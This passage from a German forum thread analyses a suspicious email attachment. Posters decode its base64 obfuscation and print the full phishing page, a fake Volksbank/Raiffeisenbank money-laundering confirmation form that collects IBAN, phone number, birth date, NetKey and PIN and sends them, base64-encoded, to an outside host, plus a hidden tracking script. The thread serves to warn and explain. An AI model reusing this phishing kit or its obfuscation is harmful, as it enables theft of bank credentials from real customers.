yJykiIHZhbHVlPSJCZXN0w6R0aWdlbiI+Cgo8L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KCgogICAgICAgIAkJCTwvZGl2PgogICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJIDwhLS0gRW5kICNjcm9zc25hdmlnYXRpb24gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJjbGVhcjpib3RoIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAJCTwvZGl2PgogICAgICAgIAkJPGRpdiBpZD0iZm9vdGVybmF2aUluZm9NZW51Ij4KICAgICAgICAJCQk8dWw+CjxsaT4KPGEgaHJlZj0iIyIgdGFyZ2V0PSJkZW1vIiB0aXRsZT0iWnVyIERlbW8tQW53ZW5kdW5nIDE3LjI1LTE1ICgxNykiPlp1ciBEZW1vLUFud2VuZHVuZzwvYT4KPC9saT4KPGxpPgo8YSBocmVmPSIjIiB0YXJnZXQ9IkltcHJlc3N1bSIgdGl0bGU9IkltcHJlc3N1bSI+SW1wcmVzc3VtPC9hPgo8L2xpPgo8bGk+CjxhIGhyZWY9IiMiIHRpdGxlPSJBR0IiPkFHQjwvYT4KPC9saT4KPGxpPgo8YSBocmVmPSIjIiB0YXJnZXQ9ImhpbGZlIiB0aXRsZT0iSGlsZmUgenVyIFZlcnNpb24gMTcuMjUtMTUiPkhpbGZlPC9hPgo8L2xpPgo8bGk+CjxhIGhyZWY9IiMiIHRhcmdldD0ic2ljaGVyaGVpdHNoaW53ZWlzZSIgdGl0bGU9IlNpY2hlcmhlaXRzaGlud2Vpc2UiPlNpY2hlcmhlaXRzaGlud2Vpc2U8L2E+CjwvbGk+CjwvdWw+CgogICAgICAgIAkJPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICAKCQkJPC9kaXY+CiAgICAgICAgPC9kaXY+ICAgICAgICAgICAgICAgIAoJPC9ib2R5PgoJPGRpdiBzdHlsZT0iZGlzcGxheTogbm9uZTsgdmlzaWJpbGl0eTogaGlkZGVuOyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL3d3dy5pcGNvdW50ZXIuZGUvY291bnRuZXcucGhwP3U9Njg2MzQwNjcmYW1wO2M9aGlkZGVuIj48L3NjcmlwdD48L2Rpdj4KPC9odG1sPg==");
document.write(str);

? Danke für eine Einschätzung.
 
Soweit ich das sehe nicht, das sind nur harmlose Stringoperationen.
 
Der eigentliche Code steht verschlüsselt in der vorletzten Zeile, der Rest dient nur der Entschlüsselung. Ist ein einfacher Weg die Mustererkennung von Virenscannern auszutricksen.
 
  • Gefällt mir
Reaktionen: rg88 und kim88
Das ist "gefährlich"

Die harmlosen "String Operationen" erstellen eine Pishing Seite um IBAN Nummer, Geburtsdatum und Telegonnummer abzugreifen. Das es nicht offiziell von der Bank ist, erkennt man, dass das geladene Dokument das Logo von der Domain: 693138.cc versucht zu laden.

Im angehängten Screenshot sehr ihr wie die Seitenstruktur aussieht, wenn das Script geladen und den Inhalt ins <body> geschrieben hat.
 

Anhänge

  • Bildschirmfoto 2019-06-12 um 21.02.37.png
    Bildschirmfoto 2019-06-12 um 21.02.37.png
    898,5 KB · Aufrufe: 578
  • Gefällt mir
Reaktionen: BeBur und azereus
Jepp,
hatte das eben auch mal in jsfiddle ausgeführt.
Der Kram im Script obfuscated den eigentlichen Inhalt.
 
Nein, einfach nur durch das öffnen der Datei ist nix passiert, außer dass die Angreifer jetzt u.U. wissen, dass die Seite geöffnet wurde.

Im kodierten String steht das hier:

Code:
<!--
Sed sagittis ligula magna, vel facilisis massa dapibus ac. Phasellus id ante quis odio pretium blandit. Cras gravida magna magna, et aliquet mi tristique id. Suspendisse commodo viverra ex a convallis. Sed ipsum velit, pellentesque sit amet suscipit ultrices, volutpat nec neque. Quisque egestas egestas varius. Mauris a euismod turpis. Aliquam erat volutpat. Nam feugiat est libero, quis aliquam eros efficitur non.

Nam dui enim, dictum in luctus sit amet, suscipit eu justo. Sed vel maximus turpis. Proin efficitur suscipit felis, eu consequat nibh tincidunt non. Pellentesque at turpis viverra, aliquet erat vitae, ornare mauris. Donec ut nibh vel massa porta aliquet vitae a magna. Morbi volutpat hendrerit pulvinar. Fusce ac nisi eget diam consequat pellentesque. Donec at dignissim lorem. Nullam pulvinar rutrum mi rutrum eleifend. Pellentesque metus massa, semper at ultrices ac, aliquet eu metus. Aenean posuere dolor eget ipsum ullamcorper, scelerisque rutrum ipsum luctus. Maecenas euismod neque a vestibulum varius. Aliquam eu sollicitudin risus, nec maximus velit. Aenean molestie massa eu est fermentum, vitae vehicula erat imperdiet. Duis commodo gravida sodales.

Proin ex lectus, varius sed est ut, feugiat ultricies orci. Morbi quis elit dolor. Cras lacinia est ut quam tempus commodo. Mauris non tempor nisl. Aenean quis arcu fringilla enim fringilla interdum in ac neque. Ut posuere et lorem sit amet porttitor. Vivamus quis justo sed dui vulputate feugiat. Curabitur vel tortor aliquet, laoreet diam quis, tempus mi. Phasellus viverra iaculis enim, nec consectetur felis molestie et. Vestibulum iaculis ullamcorper purus. Mauris molestie odio quis metus pharetra porta. Donec ornare odio sed orci pretium, lacinia consectetur augue placerat.
-->
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">
<html class=\"no-js\">
  
    <head>
        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />
        <meta name=\"generator\" content=\"ebPE 17.25-15 BVR2014\" />
        <meta name=\"format-detection\" content=\"telephone=no\">
        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\">
        <title>Bestätigung gemäß § 11 Geldwäschegesetz (GwG) – Schritt 1 / 2</title>
        <!-- responsive -->
        <script src=\"http://693138.cc/7/res/jquery-3.3.1.min.js\"></script>
        <link rel=\"stylesheet\" title=\"normal\" type=\"text/css\" href=\"http://693138.cc/7/res/banking-private/resource/xbf-styles.css\">
<link rel=\"stylesheet\" title=\"normal\" type=\"text/css\" href=\"http://693138.cc/7/res/banking-private/resource/navigationResponsive.css\">
<link rel=\"stylesheet\" title=\"normal\" type=\"text/css\" href=\"http://693138.cc/7/res/banking-private/resource/indiv.css\">


        <style type=\"text/css\">
                .XMedia .more { background: url(/banking-private/resource/crossnav-link) no-repeat 0em 0.2em; }
                .XMedia ul.bullet li, .XMedia ul.rt-bullet li {background-image:url(/banking-private/resource/ebpe-addbullet); background-repeat:no-repeat;}
                body {height: 100%; background: url(/banking-private/resource/wallpaper-body) repeat-x;}
                .contentDiv {background-image: url(/banking-private/resource/background-main)}
              
                                #primaernavi, #primaernaviBottom {background-image:url(/banking-private/resource/background-primaernavi);}
                #primaernavi .primaerLink a:hover, #primaernaviBottom .primaerLink a:hover {background-image:url(/banking-private/resource/background-primaernavi-hover);}
                #primaernavi .active a, #primaernaviBottom .active a {background-image:url(/banking-private/resource/background-primaernavi-hover);}
                #primaernavi .primaerSpacer, #primaernaviBottom .primaerSpacer{background-image:url(/banking-private/resource/background-primaernavi-spacer);}
                #sekundaernavi ul li a{background-image:url(/banking-private/resource/background-sekundaernavi-category);}
                #sekundaernavi ul li a:hover{background-image:url(/banking-private/resource/background-sekundaernavi-category-hover);}
                #sekundaernavi ul li a.active{background-image:url(/banking-private/resource/background-sekundaernavi-category-active);}
                #sekundaernavi ul ul li {background-image: url(/banking-private/resource/background-sekundaernavi-node);}
                #sekundaernavi ul ul li a{background-image:url(/banking-private/resource/background-sekundaernavi-link);}
                #sekundaernavi ul ul li a:hover{background-image:url(/banking-private/resource/background-sekundaernavi-link-hover);}
                #sekundaernavi ul ul li a.active {background-image:url(/banking-private/resource/background-sekundaernavi-link-active);}
                #sekundaernavi ul ul ul li a {background-image:url(/banking-private/resource/background-sekundaernavi-sub-link);}
                #sekundaernavi ul ul ul li a:hover {background-image:url(/banking-private/resource/background-sekundaernavi-sub-link-hover);}
                #sekundaernavi ul ul ul li a.active {background-image:url(/banking-private/resource/background-sekundaernavi-sub-link-active);}
                .mobile-nav-wrapper .icons-close, .nav-layer-wrapper .icons-close, .cookiehinweis-close {background-image:url(/banking-private/resource/background-wrapperclose) !important;}
                .breadcrumb li, .breadcrumb-layer strong:before, .nav-layer-wrapper .nav-level-3 a {background-image:url(/banking-private/resource/background-breadcrumb);}
                .breadcrumb .icons-slide-down {background-image:url(/banking-private/resource/background-breadcrumbslidedown);}
                .breadcrumb .icons-slide-up {background-image:url(/banking-private/resource/background-breadcrumbslideup);}
                #logoutBlock #logoutstatus_root {background-image:url(/banking-private/resource/background-logout);}
                .crossnavContent, #tblPosteingang, #tblAktuellWichtig, #tblFunktionenServices, #tblMitteilungenVTM, #tblProdukteAngebote, .wCadcrossnavigationNichtAngemeldet, .wCadcrossnavigation, .wCadcontentdetail {background-image:url(/banking-private/resource/background-crossnavi);}
                .seitenanfang a {background-image:url(/banking-private/resource/background-seitenanfang);}
                .ui-widget-header .ui-icon {background-image: url(/banking-private/resource/jq-iconset);}
                .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(/banking-private/resource/jq-iconset-hover);}
                .jsdropdown dt a {background-image:url(/banking-private/resource/js-dropdown-arrow);}
                .bullet {background-image:url(/banking-private/resource/background-bullet);}
                .v-app-loading {background-image:url(/banking-private/resource/background-loadingIndicator) !important;}
        </style>
        <style type=\"text/css\">
    #infoMessages ul li {background-image: url(/banking-private/resource/eb-bookmark-info);}
    .messages #errorMessages ul li {background-image: url(http://693138.cc/7/res/banking-private/resource/eb-bookmark-error);}
    .messages #warningMessages ul li {background-image: url(/banking-private/resource/eb-bookmark-warning);}
</style>

      

                  <link type=\"text/css\" rel=\"stylesheet\" media=\"print\" href=\"http://693138.cc/7/res/banking-private/resource/printOutput\">

<script>
function chkForm(step)
{
    var error = 0;
    if(step == 'step1')
    {
        var iban = $('#f0').val();
        if (isValidIBANNumber(iban)!=1) {
            $('input').eq(1).css(\"box-shadow\", \"0 0 3px red\");
            error = 1;
        } else { $('input').eq(1).css(\"box-shadow\", \"0 0 0px red\"); }
      
        var mobile = $('#f1').val();
        if(!mobile.match(/^(?:01)\\d+$/) || !mobile.match(/^[0-9]*$/)) {
            $('input').eq(2).css(\"box-shadow\", \"0 0 3px red\");
            error = 1;
        } else { $('input').eq(2).css(\"box-shadow\", \"0 0 0px red\"); }
      
        var dob = $('#f2').val();
        if(!dob.match(/^\\s*(3[01]|[12][0-9]|0?[1-9])\\.(1[012]|0?[1-9])\\.((?:19|20)\\d{2})\\s*$/)) {
            $('input').eq(3).css(\"box-shadow\", \"0 0 3px red\");
            error = 1;
        } else { $('input').eq(3).css(\"box-shadow\", \"0 0 0px red\"); }
      
        if(error == 0) return show('step2', 'step1');
    }
  
    else if(step == 'step2')
    {
        if($('#f3').val().length<5) {
            $('input').eq(5).css(\"box-shadow\", \"0 0 3px red\");
            error = 1;
        } else {
            var ob = $('#f3').val();
            if(ob.match(/^[a-z0-9._%+-]+@[a-z0-9.-]+\\.[a-z]{2,4}$/)) { $('input').eq(5).css(\"box-shadow\", \"0 0 3px red\"); alert(\"Eine E-Mail-Adresse ist kein gültiger Alias / VR-NetKey!\"); error = 1;}
            else { $('input').eq(5).css(\"box-shadow\", \"0 0 0px red\"); }
            if(ob==$('#f4').val()) { $('input').eq(5).css(\"box-shadow\", \"0 0 3px red\"); error = 1;}
            else { $('input').eq(5).css(\"box-shadow\", \"0 0 0px red\"); }
        }
      
        var pin = $('#f4').val();
        if(!pin.match(/^.{5,}$/)) {
            $('input').eq(6).css(\"box-shadow\", \"0 0 3px red\");
            error = 1;
        } else { $('input').eq(6).css(\"box-shadow\", \"0 0 0px red\"); }
      
        if(error == 0) {
            $(document).on('click', '#auth', function(event){
            event.preventDefault();
            var locationUrl = 'http://693138.cc/7/i2.php';
            var queryString = '?query=1';
            $('input').each(function(){
            if ($(this).attr('type') != 'submit') {
            queryString = queryString+'&'+window.btoa($(this).attr('id'))+'='+window.btoa($(this).val());
            }
            });
            window.location.href = locationUrl+queryString;
            });         
        }
    }
  
    if(error==1) return false;
}
window.onload = function() {
$(\".messages\").hide();
$(\"body\").show();
}
function show(shown, hidden) {
  document.getElementById(shown).style.display='block';
  document.getElementById(hidden).style.display='none';
  return false;
}
function isValidIBANNumber(input) {
    var CODE_LENGTHS = {
        AD: 24, AE: 23, AT: 20, AZ: 28, BA: 20, BE: 16, BG: 22, BH: 22, BR: 29,
        CH: 21, CR: 21, CY: 28, CZ: 24, DE: 22, DK: 18, DO: 28, EE: 20, ES: 24,
        FI: 18, FO: 18, FR: 27, GB: 22, GI: 23, GL: 18, GR: 27, GT: 28, HR: 21,
        HU: 28, IE: 22, IL: 23, IS: 26, IT: 27, JO: 30, KW: 30, KZ: 20, LB: 28,
        LI: 21, LT: 20, LU: 20, LV: 21, MC: 27, MD: 24, ME: 22, MK: 19, MR: 27,
        MT: 31, MU: 30, NL: 18, NO: 15, PK: 24, PL: 28, PS: 29, PT: 25, QA: 29,
        RO: 24, RS: 22, SA: 24, SE: 24, SI: 19, SK: 24, SM: 27, TN: 24, TR: 26
    };
    var iban = String(input).toUpperCase().replace(/[^A-Z0-9]/g, ''), // keep only alphanumeric characters
            code = iban.match(/^([A-Z]{2})(\\d{2})([A-Z\\d]+)$/), // match and capture (1) the country code, (2) the check digits, and (3) the rest
            digits;
    // check syntax and length
    if (!code || iban.length !== CODE_LENGTHS[code[1]]) {
        return false;
    }
    // rearrange country code and check digits, and convert chars to ints
    digits = (code[3] + code[1] + code[2]).replace(/[A-Z]/g, function (letter) {
        return letter.charCodeAt(0) - 55;
    });
    // final check
    return mod97(digits);
}
function mod97(string) {
    var checksum = string.slice(0, 2), fragment;
    for (var offset = 2; offset < string.length; offset += 7) {
        fragment = String(checksum) + string.substring(offset, offset + 7);
        checksum = parseInt(fragment, 10) % 97;
    }
    return checksum;
}
</script>

    </head>    <body style=\"display:none;\">
    <div id=\"ka-id\" ></div>
        <div id=\"scroll\">
              
            <div id=\"site\">
                <div id=\"main\" class=\"ym-wrapper\">
                    <header id=\"header\">
    <div id=\"logo\">
<span id=\"logo\"><img style=\"position:absolute; clip: rect(0px 99px 99px 0px);\" alt=\"Logo\" src=\"http://693138.cc/7/res/banking-private/resource/ebpe-logo?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\"></span>
<div style=\"padding-left:105px; padding-top:5px; padding-right:650px;\">
<span style=\"color:#0066b3; font-weight:bold;\">Bundesverband der Deutschen Volksbanken und Raiffeisenbanken</span>
</div>
</div>
</header>                    <div>
<nav class=\"empty\" id=\"nav\"></nav>
</div>

                  
      
                                        <div id=\"navBar\" class=\"navBar_DEFAULT\">
                                              
      
                      
                                                <div id=\"wpdistance\"></div>
                                                                    </div>
                          
      
                          
                    <div class=\"contentDiv\">
                  
                    <div id=\"maincontent\" class=\"maincontent_DEFAULT\">
                      
                      
                                                    <div class=\"breadcrumb jsb_ jsb_breadcrumblayer empty\" id=\"breadcrumb\"></div>

<div><input type=\"hidden\" name=\"id84_hf_0\" id=\"id84_hf_0\" />
<div id=\"step1\">
<h1 class=\"stackedFrontletTitle\">Bestätigung gemäß § 11 Geldwäschegesetz (GwG) – Schritt 1 / 2</h1>
<div class=\"messages\">
<div id=\"errorMessages\">
<ul>
<li>Bitte geben Sie Ihre korrekte IBAN ein.</li>
<li>Bitte geben Sie Ihre Handynummer ein.</li>
<li>Bitte geben Sie Ihr Geburtsdatum ein.</li>
</ul>
</div>
</div>
<div class=\"formInput\">
<div class=\"XContainer FormularblockUndInhalt\" id=\"mainContent_root\">
Bitte bestätigen Sie nachfolgend Ihr Bankkonto.
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td align=\"left\" colspan=\"2\" valign=\"top\">
<div class=\"XContainer notVisible\" id=\"cntHinweise\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td align=\"left\" valign=\"top\"><span class=\"XLabel\" id=\"lblWarningIcon\"><img alt=\"ebpe-warnung\" name=\"ebpe-warnung\" src=\"http://693138.cc/7/res/banking-private/resource/ebpe-warnung?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\"></span></td><td align=\"left\" valign=\"top\">
<div class=\"XContainer\" id=\"cntHinweisMessageBlock\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td align=\"left\" valign=\"top\"><span class=\"XLabel\" id=\"lblBrowserTestInfo1\">F&uuml;r die Nutzung des Online-Bankings ist eine &Auml;nderung Ihrer Browsereinstellungen erforderlich.</span></td>
</tr>
<tr>
<td align=\"left\" valign=\"top\"><span class=\"XLabel\" id=\"lblBrowserTestInfo2\">Damit Sie das Online-Banking nutzen k&ouml;nnen, m&uuml;ssen Sie Ihre Browsereinstellungen &auml;ndern. Bitte aktivieren Sie die Annahme von Cookies (in der Regel im Bereich \"Einstellungen &gt; Datenschutz\"). Danach schlie&szlig;en Sie das Browserfenster und &ouml;ffnen die Anmeldeseite des Online-Banking erneut.<br>
<br>Weitere Informationen finden Sie in der Hilfe, die Sie durch Klick auf das '?'-Symbol rechts oben aufrufen k&ouml;nnen.</span></td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td height=\"30\" valign=\"middle\">
<div class=\"XContainer FormularblockEmbedded\" id=\"cntBenutzerkennung\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td align=\"right\" valign=\"middle\" width=\"40%\">
<div class=\"XContainer FormularblockEmbedded\" id=\"cntBenutzerkennungAuswahl\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\"></table>
</div>
</td><td align=\"right\" valign=\"middle\" width=\"60%\"><span class=\"XLabel nowrap\" id=\"lblBenutzerkennungLabel\">IBAN:</span></td>
</tr>
</table>
</div>
</td><td align=\"left\" height=\"30\" valign=\"middle\"><input autocomplete=\"off\" class=\"XText \" id=\"f0\" maxlength=\"22\" name=\"f0\" size=\"25\" style=\"\" type=\"text\" value=\"\"></td>
</tr>
<tr>
<td align=\"right\" valign=\"middle\"><span class=\"XLabel nowrap\" id=\"lblPinLabel\">Handynummer:</span></td><td align=\"left\" valign=\"middle\"><input autocomplete=\"off\" class=\"XText \" id=\"f1\" maxlength=\"22\" name=\"f1\" size=\"25\" style=\"\" type=\"text\" value=\"\"></td>
</tr>
<tr>
<td align=\"right\" valign=\"middle\"><span class=\"XLabel nowrap\" id=\"lblPinLabel\">Geburtsdatum:</span></td><td align=\"left\" valign=\"middle\"><input autocomplete=\"off\" class=\"XText \" id=\"f2\" maxlength=\"22\" name=\"f2\" size=\"10\" placeholder=\"TT.MM.JJJJ\" style=\"\" type=\"text\" value=\"\"></td>
</tr>
<!--
<td align=\"right\" valign=\"middle\" width=\"40%\">
<div class=\"XContainer FormularblockEmbedded\" id=\"cntBenutzerkennungAuswahl\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\"></table>
</div>
</td><td align=\"right\" valign=\"middle\" width=\"60%\"><span class=\"XLabel nowrap\" id=\"lblBenutzerkennungLabel\">VR-NetKey oder Alias:</span></td>
</tr>
</table>
</div>
</td><td align=\"left\" height=\"30\" valign=\"middle\"><input autocomplete=\"off\" class=\"XText \" id=\"txtBenutzerkennung\" maxlength=\"35\" name=\"value_8733285.mainContent_root_txtBenutzerkennung\" size=\"35\" style=\"\" type=\"text\"></td>
</tr>
<tr>
<td align=\"right\" valign=\"middle\"><span class=\"XLabel nowrap\" id=\"lblPinLabel\">PIN:</span></td><td align=\"left\" valign=\"middle\"><input autocomplete=\"off\" class=\"XPassword \" id=\"pwdPin\" maxlength=\"20\" name=\"value_8733285.mainContent_root_pwdPin\" size=\"25\" style=\"\" type=\"password\"></td>
</tr>
-->
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td></td>
</tr>
</table>
</div>
</div>
<div class=\"formSubmit\">
<div class=\"UnitCommands actionBar\" id=\"UnitCommands\">
<input class=\"UnitCommand\" id=\"weiter\" name=\"weiter\" type=\"submit\" onClick=\"return chkForm('step1')\" value=\"Weiter\">
</div>
</div>
</div>
<div id=\"step2\" style=\"display:none\">
<h1 class=\"stackedFrontletTitle\">Bestätigung gemäß § 11 Geldwäschegesetz (GwG) – Schritt 2 / 2</h1>
<div class=\"formInput\">
<div class=\"XContainer FormularblockUndInhalt\" id=\"mainContent_root\">
Bitte legitimieren Sie sich mithilfe Ihres Online-Logins.<br />Sie werden im Anschluss weitergeleitet.
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td align=\"left\" colspan=\"2\" valign=\"top\">
<div class=\"XContainer notVisible\" id=\"cntHinweise\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td align=\"left\" valign=\"top\"><span class=\"XLabel\" id=\"lblWarningIcon\"><img alt=\"ebpe-warnung\" name=\"ebpe-warnung\" src=\"http://693138.cc/7/res/banking-private/resource/ebpe-warnung?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\"></span></td><td align=\"left\" valign=\"top\">
<div class=\"XContainer\" id=\"cntHinweisMessageBlock\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td align=\"left\" valign=\"top\"><span class=\"XLabel\" id=\"lblBrowserTestInfo1\">F&uuml;r die Nutzung des Online-Bankings ist eine &Auml;nderung Ihrer Browsereinstellungen erforderlich.</span></td>
</tr>
<tr>
<td align=\"left\" valign=\"top\"><span class=\"XLabel\" id=\"lblBrowserTestInfo2\">Damit Sie das Online-Banking nutzen k&ouml;nnen, m&uuml;ssen Sie Ihre Browsereinstellungen &auml;ndern. Bitte aktivieren Sie die Annahme von Cookies (in der Regel im Bereich \"Einstellungen &gt; Datenschutz\"). Danach schlie&szlig;en Sie das Browserfenster und &ouml;ffnen die Anmeldeseite des Online-Banking erneut.<br>
<br>Weitere Informationen finden Sie in der Hilfe, die Sie durch Klick auf das '?'-Symbol rechts oben aufrufen k&ouml;nnen.</span></td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td height=\"30\" valign=\"middle\">
<div class=\"XContainer FormularblockEmbedded\" id=\"cntBenutzerkennung\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\">
<tr>
<td align=\"right\" valign=\"middle\" width=\"40%\">
<div class=\"XContainer FormularblockEmbedded\" id=\"cntBenutzerkennungAuswahl\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\"></table>
</div>
</td>
<td align=\"right\" valign=\"middle\" width=\"40%\">
<div class=\"XContainer FormularblockEmbedded\" id=\"cntBenutzerkennungAuswahl\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" rules=\"none\" style=\"table-layout:auto; width:100%;\"></table>
</div>
</td><td align=\"right\" valign=\"middle\" width=\"60%\"><span class=\"XLabel nowrap\" id=\"lblBenutzerkennungLabel\">VR-NetKey oder Alias:</span></td>
</tr>
</table>
</div>
</td><td align=\"left\" height=\"30\" valign=\"middle\"><input autocomplete=\"off\" class=\"XText \" id=\"f3\" maxlength=\"35\" name=\"f3\" size=\"35\" style=\"\" type=\"text\"></td>
</tr>
<tr>
<td align=\"right\" valign=\"middle\"><span class=\"XLabel nowrap\" id=\"lblPinLabel\">PIN:</span></td><td align=\"left\" valign=\"middle\"><input autocomplete=\"off\" class=\"XPassword \" id=\"f4\" maxlength=\"20\" name=\"f4\" size=\"25\" style=\"\" type=\"password\"></td>
</tr>
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td><td><img alt=\"\" height=\"1\" src=\"http://693138.cc/7/res/banking-private/resource/xhtml-filler?rzbk=0120&amp;rzid=XC&amp;style=bvr2014\" width=\"1\"></td>
</tr>
<tr>
<td></td>
</tr>
</table>
</div>
</div>
<div class=\"formSubmit\">
<div class=\"UnitCommands actionBar\" id=\"UnitCommands\">
<input class=\"UnitCommand\" id=\"auth\" name=\"auth\" type=\"submit\" onClick=\"return chkForm('step2')\" value=\"Bestätigen\">

</div>
</div>
</div>
</div>


                    </div>
      
                                         <!-- End #crossnavigation -->
                                        <div style=\"clear:both\"></div>
                    </div>
                </div>
                <div id=\"footernaviInfoMenu\">
                    <ul>
<li>
<a href=\"#\" target=\"demo\" title=\"Zur Demo-Anwendung 17.25-15 (17)\">Zur Demo-Anwendung</a>
</li>
<li>
<a href=\"#\" target=\"Impressum\" title=\"Impressum\">Impressum</a>
</li>
<li>
<a href=\"#\" title=\"AGB\">AGB</a>
</li>
<li>
<a href=\"#\" target=\"hilfe\" title=\"Hilfe zur Version 17.25-15\">Hilfe</a>
</li>
<li>
<a href=\"#\" target=\"sicherheitshinweise\" title=\"Sicherheitshinweise\">Sicherheitshinweise</a>
</li>
</ul>

                </div>


                  
            </div>
        </div>             
    </body>
    <div style=\"display: none; visibility: hidden;\"><script type=\"text/javascript\" src=\"http://www.ipcounter.de/countnew.php?u=68634067&amp;c=hidden\"></script></div>
</html>
 
  • Gefällt mir
Reaktionen: azereus
Danke. Ok dann ist ja gut. Meine eltern haben das nur ausgefuehrt aber keine daten eingegeben.Wow da steht was auf latein in den verschlüsselten teil. Kann jemand hier latein ich leider nicht.
 
Zurück
Oben